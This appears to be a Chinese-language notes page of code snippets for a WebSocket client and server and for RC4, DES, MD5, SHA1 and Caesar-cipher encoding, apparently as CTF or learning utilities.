var WebSocketServer = require('ws').Server,
wss = new WebSocketServer({ port: 2333});
wss.on('connection', function (ws) {
console.log('client connected');
ws.on('message', function (message) {
console.log(message);
ws.send("服务端接收到请求后,发送给客户端的数据");
});
});

客户端

1
2
3
4
5
6
7
<script>
var ws = new WebSocket('ws://45.77.20.229:2333/');
// Web Socket 已连接上,使用 send() 方法发送数据
ws.onopen = function() {
ws.send('客户端消息');
}
</script>

rc4加密脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import base64
from urllib import parse

def rc4_main(key = "init_key", message = "init_message"):#返回加密后得内容
s_box = rc4_init_sbox(key)
crypt = str(rc4_excrypt(message, s_box))
return crypt

def rc4_init_sbox(key):
s_box = list(range(256))
j = 0
for i in range(256):
j = (j + s_box[i] + ord(key[i % len(key)])) % 256
s_box[i], s_box[j] = s_box[j], s_box[i]
return s_box
def rc4_excrypt(plain, box):
res = []
i = j = 0
for s in plain:
i = (i + 1) % 256
j = (j + box[i]) % 256
box[i], box[j] = box[j], box[i]
t = (box[i] + box[j]) % 256
k = box[t]
res.append(chr(ord(s) ^ k))
cipher = "".join(res)
return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))

key = "HereIsTreasure" #此处为密文
message = input("请输入明文:\n")
enc_base64 = rc4_main( key , message )
enc_init = str(base64.b64decode(enc_base64),'utf-8')
enc_url = parse.quote(enc_init)
print("rc4加密后的url编码:"+enc_url)
#print("rc4加密后的base64编码"+enc_base64)

DES

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import binascii
from pyDes import des, CBC, PAD_PKCS5

def des_encrypt(secret_key, s):
iv = secret_key
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
en = k.encrypt(s, padmode=PAD_PKCS5)
return binascii.b2a_hex(en)

def des_decrypt(secret_key, s):
iv = secret_key
k = des(secret_key, CBC, iv, pad=None, padmode=PAD_PKCS5)
de = k.decrypt(binascii.a2b_hex(s), padmode=PAD_PKCS5)
return de

secret_str = des_encrypt('12345678', 'I love YOU~')
print(secret_str)
clear_str = des_decrypt('12345678', secret_str)
print(clear_str)



import base64
from pyDes import *

Des_Key = "12345678" # Key
Des_IV = '12345678' # 自定IV向量

k = des(Des_Key, CBC, Des_IV, pad=None, padmode=PAD_PKCS5)
EncryptStr = k.encrypt(str.encode('utf-8'))
print(base64.b64encode(EncryptStr)) #转base64编码返回

MD5 SHA1

1
2
3
4
5
6
7
8
9
import hashlib
m = hashlib.md5()
m.update(str.encode("xxx"))
print(m.hexdigest())

import hashlib
m = hashlib.sha1()
m.update(str.encode("xxx"))
print(m.hexdigest())

凯撒密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import string

def kaisa(s, k):
lower = string.ascii_lowercase
upper = string.ascii_uppercase

before = string.ascii_letters #生成全部字母,包括a-z,A-Z
after = lower[k:] + lower[:k] + upper[k:] + upper[:k]

table = ''.maketrans(before, after) #创建字符映射的转换表
return s.translate(table)

s = input('输入一个字符串:')
k = int(input('输入密钥:'))
print(kaisa(s, k))